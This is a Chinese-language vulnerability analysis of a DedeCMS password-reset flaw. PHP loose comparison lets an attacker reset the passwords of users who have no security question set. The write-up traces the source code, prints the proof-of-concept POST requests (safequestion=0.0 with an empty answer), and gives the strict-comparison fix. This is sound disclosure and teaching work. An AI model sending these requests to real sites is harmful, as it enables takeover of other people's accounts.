前言
漏洞公布时间:2018/01/10
影响版本:V5.7SP2正式版(2018-01-09)之前所有版本
漏洞说明
这个漏洞的前提是需要开启用户注册的功能,造成的危害是能够修改前台部分用户的密码,这部分用户是那些没有设置密保问题的用户。前台管理员密码虽然也没有设置密保问题,但是由于dedecms本身的功能即使修改密码也是无法登录的。
dedecms重置密码的原理是给重置密码的用户发送一个重置密码的链接。那么在进行重置密码时,修改为其他的用户就能够修改其他用户的密码了,所以本质上来说这是一个越权漏洞。
漏洞分析
假设dedecms已经开启了用户注册的功能,用户重置密码的的URL是为http://localhost/member/resetpassword.php。对应于源码的位置是member/resetpassword.php。
safequestion分析
在member/resetpassword.php中存在三个重置密码的方法,分别是getped、safequestion、getpasswd。而本次的漏洞与safequestion有关。
分析safequestion方法代码:
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}
}
其中有几个关键的验证,如empty($safequestion)、empty($safeanswer)、if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)。首先我们需要知道,一个没有设置密保问题的用户,默认的safequestion和safeanswer结果。
mysql> SELECT safequestion,safeanswer,userid,email FROM dede_member WHERE mid='1';
+--------------+------------+--------+-------+
safequestion safeanswer userid email
+--------------+------------+--------+-------+
0 admin
+--------------+------------+--------+-------+
1 row in set (0.00 sec)
默认情况下的safequestion为0,safeanswer为空。那么如何通过这个验证呢?如果我们传输的safequestion为0,而empty($safequestion)为True。此时我们需要利用到php的隐式类型转换,即PHP在进行类型比较、类型判断时会自动进行一些类型的转换,如下:
var_dump(empty(0)); // true
var_dump(empty('0')); // true
var_dump(empty('0.0')); // false
var_dump(0.0==0); // true
var_dump('0.0'==0); // true
var_dump(null==''); // true
所以我们设置我们输入的safequestion为0.0,safeanswer为空就可以绕过这个验证,此时empty($safeanswer)为True,$row['safequestion'] == $safequestion也为True,而数据中查询出来的safeanswer本身就为NULL,所以我们设置为空,就可以通过验证。之后程序进入sn($mid, $row['userid'], $row['email'], 'N');中。
所以这个地方重置的仅仅是那些没有设置密保问题的用户,因为只有这些用户他们的safequestion才是空
sn函数分析
跟踪进入到member/inc/inc_pwd_functions.php:sn()中,
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}
进入到sn()函数之后,会执行SELECT * FROM #@__pwd_tmp WHERE mid = '$mid',此条SQL语句查询的是dede_pwd_tmp,此表存储的就是重置密码的临时KEY。由于此时没有重置密码,所以没有对应此用户的记录。
进入到第一个判断newmail($mid,$userid,$mailto,'INSERT',$send);中
newmail函数分析
追踪进入到member/inc/inc_pwd_functions.php:newmail()中
function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
}
}
进入到$type == 'INSERT'中,生成一个临时KEY,$key = md5($randval);,然后插入到数据库中,$sql = "INSERT INTO #@__pwd_tmp (mid ,membername ,pwd ,mailtime)VALUES ('$mid', '$userid', '$key', '$mailtime');";。
接下来根据参数$send的值判断是将重置密码的链接通过邮箱发送还是直接跳转。这个参数最开始是在$dopost == "safequestion"中设置的,默认值是N,那么就会将对应id的密码返回。
拿到重置链接直接在浏览器中访问就可以修改此id对应用户的密码了。
重置密码
重置密码发送的请求如下:
URL:http://localhost/member/resetpassword.php
POST:dopost=getpasswd&setp=2&id=3&userid=test02&key=K5TrsKQB&pwd=123456&pwdok=123456
其中的pwd和pwdok是我设置的重置密码。
此重置密码的请求就会进入到member/resetpassword.php的$dopost == "getpasswd"中
else if($dopost == "getpasswd")
{
//修改密码
if(empty($id))
{
ShowMsg("对不起,请不要非法提交","login.php");
exit();
}
$mid = preg_replace("#[^0-9]#", "", $id);
$row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
if(empty($row))
{
ShowMsg("对不起,请不要非法提交","login.php");
exit();
}
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime - $tptim > $row['mailtime'])
{
$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
ShowMsg("对不起,临时密码修改期限已过期","login.php");
exit();
}
require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp));
if($row['pwd'] == $sn)
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密码成功,请牢记新密码', 'login.php');
exit;
}
}
}
showmsg('对不起,新密码为空或填写不一致', '-1');
exit;
}
showmsg('对不起,临时密码错误', '-1');
exit;
}
}
进入之后,会进行$db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'")查选,因为在重置密码时已经在dede_pwd_tmp表中保存了记录,所以此时存在数据。
之后根据step的值为2,进入到更改密码的操作中。更改密码之后会进行$sn = md5(trim($pwdtmp));if($row['pwd'] == $sn操作,与数据库的中密码进行校验,校验成功之后,就会执行一下的两条SQL语句:
"DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';" # 删除临时密码表中的数据
"UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';"; # 更新dede_memeber中的密码
至此就完整了整个任意用户密码的重置过程。
POC
这个漏洞的POC也比较的简单,通过safequestion方法重置密码即可。
URL:member/resetpassword.php
POST:dopost=safequestion&safequestion=0.0&safeanswer=&id=用户ID
总结
这个漏洞其实并没有使用什么特殊技巧,仅仅是由于程序在校验的时候不严格。所以这个漏洞也很好修复,将$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer中的==变为===。
除此之外,我在调试这个漏洞时发现这个safequestion并没有对应到前台的某个操作,所以感觉这个方法一直没有被使用,而这个漏洞刚好利用了这个方法,所以如果不用这个方法的是完全可以删除的,最后就看官方如何修复吧。
本文由看雪SRC小组reklawetihwx原创,系看雪web小组征稿系列文章
转载请注明来自看雪社区
热门阅读
领取专属 10元无门槛券
私享最新 技术干货